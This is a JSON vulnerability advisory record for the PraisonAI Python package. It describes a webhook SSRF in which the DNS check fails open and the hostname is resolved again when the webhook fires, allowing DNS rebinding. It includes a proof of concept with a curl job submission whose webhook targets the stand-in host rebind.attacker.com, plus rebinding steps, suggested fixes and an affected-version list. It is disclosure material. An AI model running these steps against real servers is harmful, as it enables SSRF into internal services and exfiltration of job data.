{"id":"PYSEC-2026-3895","summary":"PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114","details":"### Summary\n\n`praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url()` validates webhook\nURLs by resolving the hostname and checking whether the IP is private. When DNS\nresolution fails (`socket.gaierror`), the validator **silently passes** the URL via\n`except socket.gaierror: pass`. Additionally, even when DNS succeeds at validation time,\nthe webhook is fired much later by `JobExecutor._send_webhook()`, which calls\n`httpx.AsyncClient().post(job.webhook_url)` — performing a **fresh, independent DNS\nlookup** at execution time. Together, these flaws create a TOCTOU SSRF window.\n\nAn attacker can:\n1. Submit a job with `webhook_url` pointing to a hostname that currently does not\n   resolve (NXDOMAIN) → validation passes (`gaierror` → `pass`)\n2. Update DNS to point that hostname to `127.0.0.1` or another private IP\n3. When the job completes, `_send_webhook()` resolves the hostname fresh → POST sent\n   to the internal IP\n\n### Details\n\n**Flaw 1 — Fail-open on DNS error (`jobs/models.py` lines 58-66):**\n\n```python\n@field_validator(\"webhook_url\")\n@classmethod\ndef validate_webhook_url(cls, v):\n    ...\n    try:\n        ip = socket.gethostbyname(hostname)\n        ip_obj = ipaddress.ip_address(ip)\n        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:\n            raise ValueError(\"Webhook URL resolves to private network address\")\n    except socket.gaierror:\n        pass    # \u003c-- FAIL-OPEN: DNS failure allows the URL without restriction\n    return v\n```\n\nWhen `socket.gethostbyname(hostname)` raises `socket.gaierror` (NXDOMAIN, timeout,\nnetwork error during validation), execution flows to `pass` and the URL is accepted.\n\n**Flaw 2 — Fresh DNS at execution time (`jobs/executor.py` lines 376-406):**\n\n```python\nasync def _send_webhook(self, job: Job):\n    async with httpx.AsyncClient(timeout=30.0) as client:\n        response = await client.post(\n            job.webhook_url,      # \u003c-- fresh DNS resolution here, not cached from validation\n            json=payload,\n            ...\n        )\n```\n\n`httpx.AsyncClient` creates a new connection per call. DNS is resolved at execution time,\ncompletely independent of the validation-time resolution. The gap between submission\nand execution can be minutes to hours (depending on job queue depth and timeout settings).\n\n**Combined TOCTOU window:**\n\n```\nT=0   Attacker submits: webhook_url = \"http://rebind.attacker.com/cb\"\n      Validation:  socket.gethostbyname(\"rebind.attacker.com\") → gaierror (NXDOMAIN)\n      Result:      except socket.gaierror: pass  → ACCEPTED\n\nT=5   Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)\n\nT=60  Job completes. _send_webhook() fires:\n      httpx.post(\"http://rebind.attacker.com/cb\")\n      DNS: rebind.attacker.com → 127.0.0.1\n      POST reaches 127.0.0.1 → SSRF\n```\n\n**Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm:** That CVE covered \"no URL\nvalidation at all\" on the webhook_url parameter, patched in v4.5.126 by adding\n`validate_webhook_url()` to `jobs/models.py`. This finding targets the **validation code\nitself** — the `except socket.gaierror: pass` fail-open introduced in that patch.\nCVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.\n\n### PoC\n\n**Requirements:** A domain you control with configurable DNS TTL, access to the jobs API\n\n**Step 1 — Confirm fail-open behaviour (local code verification):**\n\n```python\nfrom praisonai.jobs.models import JobSubmitRequest\nfrom unittest.mock import patch\nimport socket\n\n# Simulate: hostname temporarily does not resolve\nwith patch(\"socket.gethostbyname\", side_effect=socket.gaierror(\"NXDOMAIN\")):\n    req = JobSubmitRequest(\n        prompt=\"hello\",\n        webhook_url=\"http://rebind.attacker.com/callback\"\n    )\n    # No exception raised — URL accepted despite NXDOMAIN\n    print(\"Webhook accepted:\", req.webhook_url)\n```\n\nExpected: `Webhook accepted: http://rebind.attacker.com/callback`\n\n**Step 2 — Confirm fresh DNS at execution time:**\n\n```python\n# From jobs/executor.py _send_webhook():\n# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)\n# Standard httpx behaviour: each .post() resolves DNS independently\n\nimport httpx, asyncio\n\nasync def demo():\n    # httpx resolves DNS here, not using any cached result from validation\n    async with httpx.AsyncClient() as client:\n        # This call resolves \"rebind.attacker.com\" fresh at runtime\n        # If DNS changed since validation, it hits the new IP\n        try:\n            r = await client.post(\"http://rebind.attacker.com/callback\", json={})\n        except Exception as e:\n            print(f\"Connection: {e}\")\n\nasyncio.run(demo())\n```\n\n**Step 3 — Full attack scenario:**\n\n```bash\n# 1. Set up domain with short TTL, currently returning NXDOMAIN\n#    rebind.attacker.com  →  (no record, TTL=60)\n\n# 2. Submit job via API\ncurl -X POST http://praisonai-server:8000/jobs \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"prompt\": \"Calculate 2+2\",\n    \"webhook_url\": \"http://rebind.attacker.com/callback\"\n  }'\n# Response: {\"job_id\": \"job_abc123\", \"status\": \"queued\", ...}\n\n# 3. After 5 seconds (before job finishes), add DNS record:\n#    rebind.attacker.com  A  127.0.0.1  TTL=60\n\n# 4. Wait for job to complete (seconds to minutes).\n#    _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1\n#    POST request hits 127.0.0.1 (internal service)\n\n# If 127.0.0.1:80 is running a service, it receives:\n# POST /callback HTTP/1.1\n# Content-Type: application/json\n# {\"job_id\": \"job_abc123\", \"status\": \"succeeded\", \"result\": \"4\", ...}\n```\n\n**Immediate variant (no DNS timing required):**\n\nIf DNS resolution fails transiently (rate limit, network blip, temporary outage)\nduring validation, the webhook is accepted unconditionally even for a URL that would\nnormally resolve to a private IP. No attacker control over DNS timing is required —\nthe attacker simply retries submission during moments when their DNS server is unreachable\n(e.g., their DNS server is down, causing `gaierror`).\n\n### Impact\n\n**What kind of vulnerability:** Server-Side Request Forgery via TOCTOU DNS rebinding\nand validation fail-open.\n\n**Who is impacted:** Any deployment exposing the PraisonAI Jobs API (`POST /jobs`) to\nexternal or lower-trusted callers. This includes:\n\n- **Multi-tenant deployments** where workspace members submit jobs\n- **API integrations** (n8n, Zapier-style workflows) that provide `webhook_url` fields\n\n**Post-exploit capabilities:**\n- HTTP POST to any internal service with JSON payload (job result data)\n- If an internal service interprets the POST body as commands (Jenkins webhook,\n  Consul KV, etc.), this achieves code execution on internal infrastructure\n- Exfiltration of job results (which may include agent reasoning, data retrieved\n  during the task, discovered credentials) to an attacker-controlled endpoint\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\n**Fix 1 — Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**\n\n```python\n# VULNERABLE\nexcept socket.gaierror:\n    pass\n\n# FIXED\nexcept socket.gaierror:\n    raise ValueError(\n        \"Webhook URL hostname could not be resolved. \"\n        \"Ensure the hostname is valid and publicly reachable.\"\n    )\n```\n\n**Fix 2 — Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**\n\n```python\nasync def _send_webhook(self, job: Job):\n    if not job.webhook_url:\n        return\n    # Re-validate to prevent DNS rebinding\n    try:\n        from urllib.parse import urlparse\n        import socket, ipaddress\n        hostname = urlparse(job.webhook_url).hostname\n        ip = socket.gethostbyname(hostname)\n        if ipaddress.ip_address(ip).is_private:\n            logger.warning(f\"Webhook SSRF blocked at execution time: {job.webhook_url}\")\n            return\n    except Exception as e:\n        logger.warning(f\"Webhook validation failed at execution: {e}\")\n        return\n    # ... proceed with httpx.post\n```","aliases":["CVE-2026-55537","GHSA-rg5q-pp8p-f7jm"],"modified":"2026-09-10T12:15:08.066783059Z","published":"2026-09-10T09:44:54.749179Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg5q-pp8p-f7jm"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonai"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rg5q-pp8p-f7jm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55537"}],"affected":[{"package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.58"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.59","0.0.59rc11","0.0.59rc2","0.0.59rc3","0.0.59rc5","0.0.59rc6","0.0.59rc7","0.0.59rc8","0.0.59rc9","0.0.6","0.0.61","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.8","0.0.9","0.1.0","0.1.1","0.1.10","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","1.0.0","1.0.1","1.0.10","1.0.11","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.3","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.0.36","2.0.37","2.0.38","2.0.39","2.0.40","2.0.41","2.0.42","2.0.43","2.0.44","2.0.45","2.0.46","2.0.47","2.0.48","2.0.49","2.0.5","2.0.50","2.0.51","2.0.53","2.0.54","2.0.55","2.0.56","2.0.57","2.0.58","2.0.59","2.0.6","2.0.60","2.0.61","2.0.62","2.0.63","2.0.64","2.0.65","2.0.66","2.0.67","2.0.68","2.0.69","2.0.7","2.0.70","2.0.71","2.0.72","2.0.73","2.0.74","2.0.75","2.0.76","2.0.77","2.0.78","2.0.79","2.0.8","2.0.80","2.0.81","2.0.9","2.1.0","2.1.1","2.1.4","2.1.5","2.1.6","2.2.1","2.2.10","2.2.11","2.2.12","2.2.13","2.2.14","2.2.15","2.2.16","2.2.17","2.2.18","2.2.19","2.2.2","2.2.20","2.2.21","2.2.22","2.2.24","2.2.25","2.2.26","2.2.27","2.2.28","2.2.29","2.2.3","2.2.30","2.2.31","2.2.32","2.2.33","2.2.34","2.2.35","2.2.36","2.2.37","2.2.38","2.2.39","2.2.4","2.2.40","2.2.41","2.2.42","2.2.43","2.2.44","2.2.45","2.2.46","2.2.47","2.2.48","2.2.49","2.2.5","2.2.50","2.2.51","2.2.52","2.2.53","2.2.54","2.2.55","2.2.56","2.2.57","2.2.58","2.2.59","2.2.6","2.2.60","2.2.61","2.2.62","2.2.63","2.2.64","2.2.65","2.2.66","2.2.67","2.2.68","2.2.69","2.2.7","2.2.70","2.2.71","2.2.72","2.2.73","2.2.74","2.2.75","2.2.76","2.2.77","2.2.78","2.2.79","2.2.8","2.2.80","2.2.81","2.2.82","2.2.83","2.2.84","2.2.86","2.2.87","2.2.88","2.2.89","2.2.9","2.2.90","2.2.91","2.2.93","2.2.95","2.2.96","2.2.97","2.2.98","2.2.99","2.3.0","2.3.1","2.3.10","2.3.11","2.3.12","2.3.13","2.3.14","2.3.15","2.3.16","2.3.18","2.3.19","2.3.2","2.3.20","2.3.21","2.3.22","2.3.23","2.3.24","2.3.25","2.3.26","2.3.27","2.3.28","2.3.29","2.3.3","2.3.30","2.3.31","2.3.32","2.3.33","2.3.34","2.3.35","2.3.36","2.3.37","2.3.38","2.3.39","2.3.4","2.3.40","2.3.41","2.3.42","2.3.43","2.3.44","2.3.45","2.3.46","2.3.47","2.3.48","2.3.49","2.3.5","2.3.50","2.3.51","2.3.52","2.3.53","2.3.54","2.3.55","2.3.56","2.3.57","2.3.58","2.3.59","2.3.6","2.3.60","2.3.61","2.3.62","2.3.63","2.3.64","2.3.65","2.3.66","2.3.67","2.3.68","2.3.69","2.3.7","2.3.70","2.3.71","2.3.72","2.3.73","2.3.74","2.3.75","2.3.76","2.3.77","2.3.78","2.3.79","2.3.8","2.3.80","2.3.81","2.3.82","2.3.83","2.3.84","2.3.85","2.3.86","2.3.87","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.7.0","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.2","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3.11.2","3.11.3","3.11.4","3.11.8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